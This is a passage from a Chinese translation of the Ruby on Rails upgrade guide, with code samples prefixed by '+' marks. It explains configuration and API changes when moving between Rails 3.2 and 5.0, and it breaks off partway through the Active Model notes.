2.2 现在 Active Record 模型默认继承自 ApplicationRecord

在 Rails 4.2 中,Active Record 模型继承自 ActiveRecord::Base。在 Rails 5.0 中,所有模型继承自 ApplicationRecord

现在,ApplicationRecord 是应用中所有模型的超类,而不是 ActionController::Base,这样结构就与 ApplicationController 一样了,因此可以在一个地方为应用中的所有模型配置行为。

从 Rails 4.2 升级到 5.0 时,要在 app/models/ 目录中创建 application_record.rb 文件,写入下述内容:

+
+class ApplicationRecord < ActiveRecord::Base
+  self.abstract_class = true
+end
+
+
+
+

然后让所有模型继承它。

2.3 通过 throw(:abort) 停止回调链

在 Rails 4.2 中,如果 Active Record 和 Active Model 中的一个前置回调返回 false,整个回调链停止。也就是说,后续前置回调不会执行,回调中的操作也不执行。

在 Rails 5.0 中,Active Record 和 Active Model 中的前置回调返回 false 时不再停止回调链。如果想停止,要调用 throw(:abort)

从 Rails 4.2 升级到 5.0 时,返回 false 的前置回调依然会停止回调链,但是你会收到一个弃用提醒,告诉你未来会像前文所述那样变化。

准备妥当之后,可以在 config/application.rb 文件中添加下述配置,启用新的行为(弃用消息不再显示):

+
+ActiveSupport.halt_callback_chains_on_return_false = false
+
+
+
+

注意,这个选项不影响 Active Support 回调,因为不管返回什么值,这种回调链都不停止。

详情参见 #17227 工单

2.4 现在 ActiveJob 默认继承自 ApplicationJob

在 Rails 4.2 中,Active Job 类继承自 ActiveJob::Base。在 Rails 5.0 中,这一行为变了,现在继承自 ApplicationJob

从 Rails 4.2 升级到 5.0 时,要在 app/jobs/ 目录中创建 application_job.rb 文件,写入下述内容:

+
+class ApplicationJob < ActiveJob::Base
+end
+
+
+
+

然后让所有作业类继承它。

详情参见 #19034 工单

2.5 Rails 控制器测试

assignsassert_template 提取到 rails-controller-testing gem 中了。如果想继续在控制器测试中使用这两个方法,把 gem 'rails-controller-testing' 添加到 Gemfile 中。

如果使用 RSpec 做测试,还要做些配置,详情参见这个 gem 的文档。

2.6 在生产环境启动后不再自动加载

现在,在生产环境启动后默认不再自动加载。

及早加载发生在应用的启动过程中,因此顶层常量不受影响,依然能自动加载,无需引入相应的文件。

层级较深的常量与常规的代码定义体一样,只在运行时执行,因此也不受影响,因为定义它们的文件在启动过程中及早加载了。

针对这一变化,大多数应用都无需改动。在少有的情况下,如果生产环境需要自动加载,把 Rails.application.config.enable_dependency_loading 设为 true

2.7 XML 序列化

ActiveModel::Serializers::Xml 从 Rails 中提取出来,变成 activemodel-serializers-xml gem 了。如果想继续在应用中使用 XML 序列化,把 gem 'activemodel-serializers-xml' 添加到 Gemfile 中。

2.8 不再支持旧的 mysql 数据库适配器

Rails 5 不再支持旧的 mysql 数据库适配器。多数用户应该换用 mysql2。找到维护人员之后,会作为一个单独的 gem 发布。

2.9 不再支持 debugger

Rails 5 要求的 Ruby 2.2 不支持 debugger。换用 byebug

2.10 使用 bin/rails 运行任务和测试

Rails 5 支持使用 bin/rails 运行任务和测试。一般来说,还有相应的 rake 任务,但有些完全移过来了。

新的测试运行程序使用 bin/rails test 运行。

rake dev:cache 现在变成了 rails dev:cache

执行 bin/rails 命令查看所有可用的命令。

2.11 ActionController::Parameters 不再继承自 HashWithIndifferentAccess +

现在,应用中的 params 不再返回散列。如果已经在参数上调用了 permit,无需做任何修改。如果使用 slice 及其他需要读取散列的方法,而不管是否调用了 permitted?,需要更新应用,首先调用 permit,然后转换成散列。

+
+params.permit([:proceed_to, :return_to]).to_h
+
+
+
+

2.12 protect_from_forgery 的选项现在默认为 prepend: false +

protect_from_forgery 的选项现在默认为 prepend: false,这意味着,在应用中调用 protect_from_forgery 时,会插入回调链。如果始终想让 protect_from_forgery 先运行,应该修改应用,使用 protect_from_forgery prepend: true

2.13 默认的模板处理程序现在是 raw

文件扩展名中没有模板处理程序的,现在使用 raw 处理程序。以前,Rails 使用 ERB 模板处理程序渲染这种文件。

如果不想让 raw 处理程序处理文件,应该添加文件扩展名,让相应的模板处理程序解析。

2.14 为模板依赖添加通配符匹配

现在可以使用通配符匹配模板依赖。例如,如果像下面这样定义模板:

+
+<% # Template Dependency: recordings/threads/events/subscribers_changed %>
+<% # Template Dependency: recordings/threads/events/completed %>
+<% # Template Dependency: recordings/threads/events/uncompleted %>
+
+
+
+

现在可以使用通配符一次调用所有依赖:

+
+<% # Template Dependency: recordings/threads/events/* %>
+
+
+
+

2.15 不再支持 protected_attributes gem

Rails 5 不再支持 protected_attributes gem。

2.16 不再支持 activerecord-deprecated_finders gem

Rails 5 不再支持 activerecord-deprecated_finders gem。

2.17 ActiveSupport::TestCase 现在默认随机运行测试

应用中的测试现在默认的运行顺序是 :random,不再是 :sorted。如果想改回 :sorted,使用下述配置选项:

+
+# config/environments/test.rb
+Rails.application.configure do
+  config.active_support.test_order = :sorted
+end
+
+
+
+

2.18 ActionController::Live 变为一个 Concern +

如果在引入控制器的模块中引入了 ActionController::Live,还应该使用 ActiveSupport::Concern 扩展模块。或者,也可以使用 self.included 钩子在引入 StreamingSupport 之后直接把 ActionController::Live 引入控制器。

这意味着,如果应用有自己的流模块,下述代码在生产环境不可用:

+
+# This is a work-around for streamed controllers performing authentication with Warden/Devise.
+# See https://github.com/plataformatec/devise/issues/2332
+# Authenticating in the router is another solution as suggested in that issue
+class StreamingSupport
+  include ActionController::Live # this won't work in production for Rails 5
+  # extend ActiveSupport::Concern # unless you uncomment this line.
+
+  def process(name)
+    super(name)
+  rescue ArgumentError => e
+    if e.message == 'uncaught throw :warden'
+      throw :warden
+    else
+      raise e
+    end
+  end
+end
+
+
+
+

2.19 框架的新默认值

2.19.1 Active Record belongs_to_required_by_default 选项

如果关联不存在,belongs_to 现在默认触发验证错误。

这一行为可在具体的关联中使用 optional: true 选项禁用。

新应用默认自动配置这一行为。如果现有项目想使用这一特性,可以在初始化脚本中启用:

+
+config.active_record.belongs_to_required_by_default = true
+
+
+
+
2.19.2 每个表单都有自己的 CSRF 令牌

现在,Rails 5 支持每个表单有自己的 CSRF 令牌,从而降低 JavaScript 创建的表单遭受代码注入攻击的风险。启用这个选项后,应用中的表单都有自己的 CSRF 令牌,专门针对那个表单的动作和方法。

+
+config.action_controller.per_form_csrf_tokens = true
+
+
+
+
2.19.3 伪造保护检查源

现在,可以配置应用检查 HTTP Origin 首部和网站的源,增加一道 CSRF 防线。把下述配置选项设为 true

+
+config.action_controller.forgery_protection_origin_check = true
+
+
+
+
2.19.4 允许配置 Action Mailer 队列的名称

默认的邮件程序队列名为 mailers。这个配置选项允许你全局修改队列名称。在配置文件中添加下述内容:

+
+config.action_mailer.deliver_later_queue_name = :new_queue_name
+
+
+
+
2.19.5 Action Mailer 视图支持片段缓存

在配置文件中设定 config.action_mailer.perform_caching 选项,决定是否让 Action Mailer 视图支持缓存。

+
+config.action_mailer.perform_caching = true
+
+
+
+
2.19.6 配置 db:structure:dump 的输出

如果使用 schema_search_path 或者其他 PostgreSQL 扩展,可以控制如何转储数据库模式。设为 :all 生成全部转储,设为 :schema_search_path 从模式搜索路径中生成转储。

+
+config.active_record.dump_schemas = :all
+
+
+
+
2.19.7 配置 SSL 选项为子域名启用 HSTS

在配置文件中设定下述选项,为子域名启用 HSTS:

+
+config.ssl_options = { hsts: { subdomains: true } }
+
+
+
+
2.19.8 保留接收者的时区

使用 Ruby 2.4 时,调用 to_time 时可以保留接收者的时区:

+
+ActiveSupport.to_time_preserves_timezone = false
+
+
+
+

3 从 Rails 4.1 升级到 4.2

3.1 Web Console

首先,把 gem 'web-console', '~> 2.0' 添加到 Gemfile:development 组里(升级时不含这个 gem),然后执行 bundle install 命令。安装好之后,可以在任何想使用 Web Console 的视图里调用辅助方法 <%= console %>。开发环境的错误页面中也有 Web Console。

3.2 responders gem

respond_with 实例方法和 respond_to 类方法已经提取到 responders gem 中。如果想使用这两个方法,只需把 gem 'responders', '~> 2.0' 添加到 Gemfile 中。如果依赖中没有 responders gem,无法调用二者。

+
+# app/controllers/users_controller.rb
+
+class UsersController < ApplicationController
+  respond_to :html, :json
+
+  def show
+    @user = User.find(params[:id])
+    respond_with @user
+  end
+end
+
+
+
+

respond_to 实例方法不受影响,无需添加额外的 gem:

+
+# app/controllers/users_controller.rb
+
+class UsersController < ApplicationController
+  def show
+    @user = User.find(params[:id])
+    respond_to do |format|
+      format.html
+      format.json { render json: @user }
+    end
+  end
+end
+
+
+
+

详情参见 #16526 工单

3.3 事务回调中的错误处理

目前,Active Record 压制 after_rollbackafter_commit 回调抛出的错误,只将其输出到日志里。在下一版中,这些错误不再得到压制,而像其他 Active Record 回调一样正常冒泡。

你定义的 after_rollbackafter_commit 回调会收到一个弃用提醒,说明这一变化。如果你做好了迎接新行为的准备,可以在 config/application.rb 文件中添加下述配置,不再发出弃用提醒:

+
+config.active_record.raise_in_transactional_callbacks = true
+
+
+
+

详情参见 #14488#16537 工单

3.4 测试用例的运行顺序

在 Rails 5.0 中,测试用例将默认以随机顺序运行。为了抢先使用这一个改变,Rails 4.2 引入了一个新配置选项,即 active_support.test_order,用于指定测试的运行顺序。你可以将其设为 :sorted,继续使用目前的行为,或者设为 :random,使用未来的行为。

如果不为这个选项设定一个值,Rails 会发出弃用提醒。如果不想看到弃用提醒,在测试环境的配置文件中添加下面这行:

+
+# config/environments/test.rb
+Rails.application.configure do
+  config.active_support.test_order = :sorted # 如果愿意,也可以设为 `:random`
+end
+
+
+
+

3.5 序列化的属性

使用定制的编码器时(如 serialize :metadata, JSON),如果把 nil 赋值给序列化的属性,存入数据库中的值是 NULL,而不是通过编码器传递的 nil 值(例如,使用 JSON 编码器时的 "null")。

3.6 生产环境的日志等级

Rails 5 将把生产环境的默认日志等级改为 :debug(以前是 :info)。若想继续使用目前的默认值,在 production.rb 文件中添加下面这行:

+
+# Set to `:info` to match the current default, or set to `:debug` to opt-into
+# the future default.
+config.log_level = :info
+
+
+
+

3.7 在 Rails 模板中使用 after_bundle +

如果你的 Rails 模板把所有文件纳入版本控制,无法添加生成的 binstubs,因为模板在 Bundler 之前执行:

+
+# template.rb
+generate(:scaffold, "person name:string")
+route "root to: 'people#index'"
+rake("db:migrate")
+
+git :init
+git add: "."
+git commit: %Q{ -m 'Initial commit' }
+
+
+
+

现在,你可以把 git 调用放在 after_bundle 块中,在生成 binstubs 之后执行:

+
+# template.rb
+generate(:scaffold, "person name:string")
+route "root to: 'people#index'"
+rake("db:migrate")
+
+after_bundle do
+  git :init
+  git add: "."
+  git commit: %Q{ -m 'Initial commit' }
+end
+
+
+
+

3.8 rails-html-sanitizer

现在,净化应用中的 HTML 片段有了新的选择。古老的 html-scanner 方式正式弃用,换成了 rails-html-sanitizer

因此,sanitizesanitize_cssstrip_tagsstrip_links 等方法现在有了新的实现方式。

新的净化程序内部使用 Loofah,而它使用 Nokogiri。Nokogiri 包装了使用 C 和 Java 编写的 XML 解析器,因此不管使用哪个 Ruby 版本,净化的过程应该都很快。

新版本更新了 sanitize,它接受一个 Loofah::Scrubber 对象,提供强有力的清洗功能。清洗程序的示例参见这里

此外,还添加了两个新清洗程序:PermitScrubberTargetScrubber。详情参阅 rails-html-sanitizer gem 的自述文件

PermitScrubberTargetScrubber 的文档说明了如何完全控制何时以及如何剔除元素。

如果应用想使用旧的净化程序,把 rails-deprecated_sanitizer 添加到 Gemfile 中:

+
+gem 'rails-deprecated_sanitizer'
+
+
+
+

3.9 Rails DOM 测试

TagAssertions 模块(包含 assert_tag 等方法)已经弃用,换成了 SelectorAssertions 模块的 assert_select 方法。新的方法提取到 rails-dom-testing gem 中了。

3.10 遮蔽真伪令牌

为了防范 SSL 攻击,form_authenticity_token 现在做了遮蔽,每次请求都不同。因此,验证令牌时先解除遮蔽,然后再解密。所以,验证非 Rails 表单发送的,而且依赖静态会话 CSRF 令牌的请求时,要考虑这一点。

3.11 Action Mailer

以前,在邮件程序类上调用邮件程序方法会直接执行相应的实例方法。引入 Active Job 和 #deliver_later 之后,情况变了。在 Rails 4.2 中,实例方法延后到调用 deliver_nowdeliver_later 时才执行。例如:

+
+class Notifier < ActionMailer::Base
+  def notify(user, ...)
+    puts "Called"
+    mail(to: user.email, ...)
+  end
+end
+
+mail = Notifier.notify(user, ...) # 此时 Notifier#notify 还未执行
+mail = mail.deliver_now           # 打印“Called”
+
+
+
+

对大多数应用来说,这不会导致明显的差别。然而,如果非邮件程序方法要同步执行,而以前依靠同步代理行为的话,应该将其定义为邮件程序类的类方法:

+
+class Notifier < ActionMailer::Base
+  def self.broadcast_notifications(users, ...)
+    users.each { |user| Notifier.notify(user, ...) }
+  end
+end
+
+
+
+

3.12 支持外键

迁移 DSL 做了扩充,支持定义外键。如果你以前使用 foreigner gem,可以考虑把它删掉了。注意,Rails 对外键的支持没有 foreigner 全面。这意味着,不是每一个 foreigner 定义都可以完全替换成 Rails 中相应的迁移 DSL。

替换的过程如下:

+
    +
  1. Gemfile 中删除 gem "foreigner"

  2. +
  3. 执行 bundle install 命令。

  4. +
  5. 执行 bin/rake db:schema:dump 命令。

  6. +
  7. 确保 db/schema.rb 文件中包含每一个外键定义,而且有所需的选项。

  8. +
+

4 从 Rails 4.0 升级到 4.1

4.1 保护远程 <script> 标签免受 CSRF 攻击

或者“我的测试为什么失败了!?”“我的 <script> 小部件不能用了!!!”

现在,跨站请求伪造(Cross-site request forgery,CSRF)涵盖获取 JavaScript 响应的 GET 请求。这样能防止第三方网站通过 <script> 标签引用你的 JavaScript,获取敏感数据。

因此,使用下述代码的功能测试和集成测试现在会触发 CSRF 保护:

+
+get :index, format: :js
+
+
+
+

换成下述代码,明确测试 XmlHttpRequest

+
+xhr :get, :index, format: :js
+
+
+
+

注意,站内的 <script> 标签也认为是跨源的,因此默认被阻拦。如果确实想使用 <script> 加载 JavaScript,必须在动作中明确指明跳过 CSRF 保护。

4.2 Spring

如果想使用 Spring 预加载应用,要这么做:

+
    +
  1. gem 'spring', group: :development 添加到 Gemfile 中。

  2. +
  3. 执行 bundle install 命令,安装 Spring。

  4. +
  5. 执行 bundle exec spring binstub --all,用 Spring 运行 binstub。

  6. +
+

用户定义的 Rake 任务默认在开发环境中运行。如果想在其他环境中运行,查阅 Spring 的自述文件

4.3 config/secrets.yml +

若想使用新增的 secrets.yml 文件存储应用的机密信息,要这么做:

+
    +
  1. +

    config 文件夹中创建 secrets.yml 文件,写入下述内容:

    +
    +
    +development:
    +  secret_key_base:
    +
    +test:
    +  secret_key_base:
    +
    +production:
    +  secret_key_base: <%= ENV["SECRET_KEY_BASE"] %>
    +
    +
    +
    +
  2. +
  3. 使用 secret_token.rb 初始化脚本中的 secret_key_base 设定 SECRET_KEY_BASE 环境变量,供生产环境中的用户使用。此外,还可以直接复制 secret_key_base 的值,把 <%= ENV["SECRET_KEY_BASE"] %> 替换掉。

  4. +
  5. 删除 secret_token.rb 初始化脚本。

  6. +
  7. 运行 rake secret 任务,为开发环境和测试环境生成密钥。

  8. +
  9. 重启服务器。

  10. +
+

4.4 测试辅助方法的变化

如果测试辅助方法中有调用 ActiveRecord::Migration.check_pending!,可以将其删除了。现在,引入 rails/test_help 文件时会自动做此项检查,不过留着那一行代码也没什么危害。

4.5 cookies 序列化程序

使用 Rails 4.1 之前的版本创建的应用使用 Marshal 序列化签名和加密的 cookie 值。若想使用新的基于 JSON 的格式,创建一个初始化脚本,写入下述内容:

+
+Rails.application.config.action_dispatch.cookies_serializer = :hybrid
+
+
+
+

这样便能平顺地从现在的 Marshal 序列化形式改成基于 JSON 的格式。

使用 :json:hybrid 序列化程序时要注意,不是所有 Ruby 对象都能序列化成 JSON。例如,DateTime 对象序列化成字符串,散列的键序列化成字符串。

+
+class CookiesController < ApplicationController
+  def set_cookie
+    cookies.encrypted[:expiration_date] = Date.tomorrow # => Thu, 20 Mar 2014
+    redirect_to action: 'read_cookie'
+  end
+
+  def read_cookie
+    cookies.encrypted[:expiration_date] # => "2014-03-20"
+  end
+end
+
+
+
+

建议只在 cookie 中存储简单的数据(字符串和数字)。如果存储复杂的对象,在后续请求中读取 cookie 时要自己动手转换。

如果使用 cookie 会话存储器,sessionflash 散列也是如此。

4.6 闪现消息结构的变化

闪现消息的键会整形成字符串,不过依然可以使用符号或字符串访问。迭代闪现消息时始终使用字符串键:

+
+flash["string"] = "a string"
+flash[:symbol] = "a symbol"
+
+# Rails < 4.1
+flash.keys # => ["string", :symbol]
+
+# Rails >= 4.1
+flash.keys # => ["string", "symbol"]
+
+
+
+

一定要使用字符串比较闪现消息的键。

4.7 JSON 处理方式的变化

Rails 4.1 对 JSON 的处理方式做了几项修改。

4.7.1 删除 MultiJSON

MultiJSON 结束历史使命,Rails 把它删除了。

如果你的应用现在直接依赖 MultiJSON,有几种解决方法:

+
    +
  1. multi_json gem 添加到 Gemfile 中。注意,未来这种方法可能失效。

  2. +
  3. 摒除 MultiJSON,换用 obj.to_jsonJSON.parse(str)

  4. +
+

不要直接把 MultiJson.dumpMultiJson.load 换成 JSON.dumpJSON.load。这两个 JSON gem API 的作用是序列化和反序列化任意的 Ruby 对象,一般不安全

4.7.2 JSON gem 的兼容性

由于历史原因,Rails 有些 JSON gem 的兼容性问题。在 Rails 应用中使用 JSON.generateJSON.dump 可能导致意料之外的错误。

Rails 4.1 修正了这些问题:在 JSON gem 之外提供了单独的编码器。JSON gem 的 API 现在能正常使用了,但是不能访问任何 Rails 专用的功能。例如:

+
+class FooBar
+  def as_json(options = nil)
+    { foo: 'bar' }
+  end
+end
+
+>> FooBar.new.to_json # => "{\"foo\":\"bar\"}"
+>> JSON.generate(FooBar.new, quirks_mode: true) # => "\"#<FooBar:0x007fa80a481610>\""
+
+
+
+
4.7.3 新的 JSON 编码器

Rails 4.1 重写了 JSON 编码器,充分利用了 JSON gem。对多数应用来说,这一变化没有显著影响。然而,在重写的过程中从编码器中移除了下述功能:

+
    +
  1. 环形数据结构检测

  2. +
  3. encode_json 钩子的支持

  4. +
  5. BigDecimal 对象编码成数字而不是字符串的选项

  6. +
+

如果你的应用依赖这些功能,可以把 activesupport-json_encoder gem 添加到 Gemfile 中。

4.7.4 时间对象的 JSON 表述

在包含时间组件的对象(TimeDateTimeActiveSupport::TimeWithZone)上调用 #as_json,现在返回值的默认精度是毫秒。如果想继续使用旧的行为,不含毫秒,在一个初始化脚本中设定下述选项:

+
+ActiveSupport::JSON::Encoding.time_precision = 0
+
+
+
+

4.8 行内回调块中 return 的用法

以前,Rails 允许在行内回调块中像下面这样使用 return

+
+class ReadOnlyModel < ActiveRecord::Base
+  before_save { return false } # BAD
+end
+
+
+
+

这种行为一直没得到广泛支持。由于 ActiveSupport::Callbacks 内部的变化,Rails 4.1 不再允许这么做。如果在行内回调块中使用 return,执行回调时会抛出 LocalJumpError 异常。

使用 return 的行内回调块可以重构成求取返回值:

+
+class ReadOnlyModel < ActiveRecord::Base
+  before_save { false } # GOOD
+end
+
+
+
+

如果想使用 return,建议定义为方法:

+
+class ReadOnlyModel < ActiveRecord::Base
+  before_save :before_save_callback # GOOD
+
+  private
+    def before_save_callback
+      return false
+    end
+end
+
+
+
+

这一变化影响使用回调的多数地方,包括 Active Record 和 Active Model 回调,以及 Action Controller 的过滤器(如 before_action)。

详情参见这个拉取请求

4.9 Active Record 固件中定义的方法

Rails 4.1 在各自的上下文中处理各个固件中的 ERB,因此一个附件中定义的辅助方法,无法在另一个固件中使用。

在多个固件中使用的辅助方法应该在 test_helper.rb 文件的一个模块中定义,然后使用新的 ActiveRecord::FixtureSet.context_class 引入。

+
+module FixtureFileHelpers
+  def file_sha(path)
+    Digest::SHA2.hexdigest(File.read(Rails.root.join('test/fixtures', path)))
+  end
+end
+ActiveRecord::FixtureSet.context_class.include FixtureFileHelpers
+
+
+
+

4.10 i18n 强制检查可用的本地化

现在,Rails 4.1 默认把 i18n 的 enforce_available_locales 选项设为 true。这意味着,传给它的所有本地化都必须在 available_locales 列表中声明。

如果想禁用这一行为(让 i18n 接受任何本地化选项),在应用的配置文件中添加下述选项:

+
+config.i18n.enforce_available_locales = false
+
+
+
+

注意,这个选项是一项安全措施,为的是确保不把用户的输入作为本地化信息,除非这个信息之前是已知的。因此,除非有十足的原因,否则不建议禁用这个选项。

4.11 在 Relation 上调用的可变方法

Relation 不再提供可变方法,如 #map!#delete_if。如果想使用这些方法,调用 #to_a 把它转换成数组。

这样改的目的是避免奇怪的缺陷,以及防止代码意图不明。

+
+# 现在不能这么写
+Author.where(name: 'Hank Moody').compact!
+
+# 要这么写
+authors = Author.where(name: 'Hank Moody').to_a
+authors.compact!
+
+
+
+

4.12 默认作用域的变化

默认作用域不再能够使用链式条件覆盖。

在之前的版本中,模型中的 default_scope 会被同一字段的链式条件覆盖。现在,与其他作用域一样,变成了合并。

以前:

+
+class User < ActiveRecord::Base
+  default_scope { where state: 'pending' }
+  scope :active, -> { where state: 'active' }
+  scope :inactive, -> { where state: 'inactive' }
+end
+
+User.all
+# SELECT "users".* FROM "users" WHERE "users"."state" = 'pending'
+
+User.active
+# SELECT "users".* FROM "users" WHERE "users"."state" = 'active'
+
+User.where(state: 'inactive')
+# SELECT "users".* FROM "users" WHERE "users"."state" = 'inactive'
+
+
+
+

现在:

+
+class User < ActiveRecord::Base
+  default_scope { where state: 'pending' }
+  scope :active, -> { where state: 'active' }
+  scope :inactive, -> { where state: 'inactive' }
+end
+
+User.all
+# SELECT "users".* FROM "users" WHERE "users"."state" = 'pending'
+
+User.active
+# SELECT "users".* FROM "users" WHERE "users"."state" = 'pending' AND "users"."state" = 'active'
+
+User.where(state: 'inactive')
+# SELECT "users".* FROM "users" WHERE "users"."state" = 'pending' AND "users"."state" = 'inactive'
+
+
+
+

如果想使用以前的行为,要使用 unscopedunscoperewhereexceptdefault_scope 定义的条件移除。

+
+class User < ActiveRecord::Base
+  default_scope { where state: 'pending' }
+  scope :active, -> { unscope(where: :state).where(state: 'active') }
+  scope :inactive, -> { rewhere state: 'inactive' }
+end
+
+User.all
+# SELECT "users".* FROM "users" WHERE "users"."state" = 'pending'
+
+User.active
+# SELECT "users".* FROM "users" WHERE "users"."state" = 'active'
+
+User.inactive
+# SELECT "users".* FROM "users" WHERE "users"."state" = 'inactive'
+
+
+
+

4.13 使用字符串渲染内容

Rails 4.1 为 render 引入了 :plain:html:body 选项。现在,建议使用这三个选项渲染字符串内容,因为这样可以指定响应的内容类型。

+
    +
  • render :plain 把内容类型设为 text/plain

  • +
  • render :html 把内容类型设为 text/html

  • +
  • render :body 不设定内容类型首部

  • +
+

从安全角度来看,如果响应主体中没有任何标记,应该使用 render :plain,因为多数浏览器会转义响应中不安全的内容。

未来的版本会弃用 render :text。所以,请开始使用更精准的 :plain:html:body 选项。使用 render :text 可能有安全风险,因为发送的内容类型是 text/html

4.14 PostgreSQL 的 json 和 hstore 数据类型

Rails 4.1 把 jsonhstore 列映射成键为字符串的 Ruby 散列。之前的版本使用 HashWithIndifferentAccess。这意味着,不再支持使用符号访问。建立在 jsonhstore 列之上的 store_accessors 也是如此。确保要始终使用字符串键。

4.15 ActiveSupport::Callbacks 明确要求使用块

现在,Rails 4.1 明确要求调用 ActiveSupport::Callbacks.set_callback 时传入一个块。之所以这样要求,是因为 4.1 版大范围重写了 ActiveSupport::Callbacks

+
+# Rails 4.0
+set_callback :save, :around, ->(r, &block) { stuff; result = block.call; stuff }
+
+# Rails 4.1
+set_callback :save, :around, ->(r, block) { stuff; result = block.call; stuff }
+
+
+
+

5 从 Rails 3.2 升级到 4.0

如果你的应用目前使用的版本低于 3.2.x,应该先升级到 3.2,再升级到 4.0。

下述说明针对升级到 Rails 4.0。

5.1 HTTP PATCH

现在,Rails 4.0 使用 PATCH 作为更新 REST 式资源(在 config/routes.rb 中声明)的主要 HTTP 动词。update 动作仍然在用,而且 PUT 请求继续交给 update 动作处理。因此,如果你只使用 REST 式路由,无需做任何修改。

+
+resources :users
+
+
+
+
+
+<%= form_for @user do |f| %>
+
+
+
+
+
+class UsersController < ApplicationController
+  def update
+    # 无需修改,首选 PATCH,但是 PUT 依然能用
+  end
+end
+
+
+
+

然而,如果使用 form_for 更新资源,而且用的是使用 PUT HTTP 方法的自定义路由,要做修改:

+
+resources :users, do
+  put :update_name, on: :member
+end
+
+
+
+
+
+<%= form_for [ :update_name, @user ] do |f| %>
+
+
+
+
+
+class UsersController < ApplicationController
+  def update_name
+    # 需要修改,因为 form_for 会尝试使用不存在的 PATCH 路由
+  end
+end
+
+
+
+

如果动作不在公开的 API 中,可以直接修改 HTTP 方法,把 put 路由改用 patch

在 Rails 4 中,针对 /users/:idPUT 请求交给 update 动作处理。因此,如果 API 使用 PUT 请求,依然能用。路由器也会把针对 /users/:idPATCH 请求交给 update 动作处理。

+
+resources :users do
+  patch :update_name, on: :member
+end
+
+
+
+

如果动作在公开的 API 中,不能修改所用的 HTTP 方法,此时可以修改表单,让它使用 PUT 方法:

+
+<%= form_for [ :update_name, @user ], method: :put do |f| %>
+
+
+
+

关于 PATCH 请求,以及为什么这样改,请阅读 Rails 博客中的这篇文章

5.1.1 关于媒体类型

PATCH 动词规范的勘误指出,PATCH 请求应该使用“diff”媒体类型JSON Patch 就是这样的格式。虽然 Rails 原生不支持 JSON Patch,不过添加这一支持也不难:

+
+# 在控制器中
+def update
+  respond_to do |format|
+    format.json do
+      # 执行局部更新
+      @article.update params[:article]
+    end
+
+    format.json_patch do
+      # 执行复杂的更新
+    end
+  end
+end
+
+# 在 config/initializers/json_patch.rb 文件中
+Mime::Type.register 'application/json-patch+json', :json_patch
+
+
+
+

JSON Patch 最近才收录到 RFC 中,因此还没有多少好的 Ruby 库。Aaron Patterson 开发的 hana 是一个,但是没有支持规范最近的几项修改。

5.2 Gemfile

Rails 4.0 删除了 Gemfileassets 分组。升级时,要把那一行删除。此外,还要更新应用配置(config/application.rb):

+
+# Require the gems listed in Gemfile, including any gems
+# you've limited to :test, :development, or :production.
+Bundler.require(*Rails.groups)
+
+
+
+

5.3 vendor/plugins

Rails 4.0 不再支持从 vendor/plugins 目录中加载插件。插件应该制成 gem,添加到 Gemfile 中。如果不想制成 gem,可以移到其他位置,例如 lib/my_plugin/*,然后添加相应的初始化脚本 config/initializers/my_plugin.rb

5.4 Active Record

+
    +
  • Rails 4.0 从 Active Record 中删除了标识映射(identity map),因为与关联有些不一致。如果你启动了这个功能,要把这个没有作用的配置删除:config.active_record.identity_map

  • +
  • 关联集合的 delete 方法的参数现在除了记录之外还可以使用 IntegerString,基本与 destroy 方法一样。以前,传入这样的参数时会抛出 ActiveRecord::AssociationTypeMismatch 异常。从 Rails 4.0 开始,delete 在删除记录之前会自动查找指定 ID 对应的记录。

  • +
  • 在 Rails 4.0 中,如果修改了列或表的名称,相关的索引也会重命名。现在无需编写迁移重命名索引了。

  • +
  • Rails 4.0 把 serialized_attributesattr_readonly 改成只有类方法版本了。别再使用实例方法版本了,因为已经弃用。应该把实例方法版本改成类方法版本,例如把 self.serialized_attributes 改成 self.class.serialized_attributes

  • +
  • 使用默认的编码器时,把 nil 赋值给序列化的属性在数据库中保存的是 NULL,而不是通过 YAML ("--- \n…​\n") 传递 nil 值。

  • +
  • Rails 4.0 删除了 attr_accessibleattr_protected,换成了健壮参数(strong parameter)。平滑升级可以使用 protected_attributes gem。

  • +
  • 如果不使用 protected_attributes gem,可以把与它有关的选项都删除,例如 whitelist_attributesmass_assignment_sanitizer

  • +
  • +

    Rails 4.0 要求作用域使用可调用的对象,如 Proc 或 lambda:

    +
    +
    +scope :active, where(active: true)
    +
    +# 变成
    +scope :active, -> { where active: true }
    +
    +
    +
    +
  • +
  • Rails 4.0 弃用了 ActiveRecord::Fixtures,改成了 ActiveRecord::FixtureSet

  • +
  • Rails 4.0 弃用了 ActiveRecord::TestCase,改成了 ActiveSupport::TestCase

  • +
  • Rails 4.0 弃用了以前基于散列的查找方法 API。这意味着,不能再给查找方法传入选项了。例如,Book.find(:all, conditions: { name: '1984' }) 已经弃用,改成了 Book.where(name: '1984')

  • +
  • +

    除了 find_by_…​find_by_…​!,其他动态查找方法都弃用了。新旧变化如下:

    +
      +
    • find_all_by_…​ 变成 where(…​) +
    • +
    • find_last_by_…​ 变成 where(…​).last +
    • +
    • scoped_by_…​ 变成 where(…​) +
    • +
    • find_or_initialize_by_…​ 变成 find_or_initialize_by(…​) +
    • +
    • find_or_create_by_…​ 变成 find_or_create_by(…​) +
    • +
    +
  • +
  • 注意,where(…​) 返回一个关系,而不像旧的查找方法那样返回一个数组。如果需要使用数组,调用 where(…​).to_a

  • +
  • 等价的方法所执行的 SQL 语句可能与以前的实现不同。

  • +
  • 如果想使用旧的查找方法,可以使用 activerecord-deprecated_finders gem。

  • +
  • +

    Rails 4.0 修改了 has_and_belongs_to_many 关联默认的联结表名,把第二个表名中的相同前缀去掉。现有的 has_and_belongs_to_many 关联,如果表名中有共用的前缀,要使用 join_table 选项指定。例如:

    +
    +
    +CatalogCategory < ActiveRecord::Base
    +  has_and_belongs_to_many :catalog_products, join_table: 'catalog_categories_catalog_products'
    +end
    +
    +CatalogProduct < ActiveRecord::Base
    +  has_and_belongs_to_many :catalog_categories, join_table: 'catalog_categories_catalog_products'
    +end
    +
    +
    +
    +
  • +
  • 注意,前缀含命名空间,因此 Catalog::CategoryCatalog::Product,或者 Catalog::CategoryCatalogProduct 之间的关联也要以同样的方式修改。

  • +
+

5.5 Active Resource

Rails 4.0 把 Active Resource 提取出来,制成了单独的 gem。如果想继续使用这个功能,把 activeresource gem 添加到 Gemfile 中。

5.6 Active Model

+
    +
  • Rails 4.0 修改了 ActiveModel::Validations::ConfirmationValidator 错误的依附方式。现在,如果二次确认验证失败,错误依附到 :#{attribute}_confirmation 上,而不是 attribute

  • +
  • +

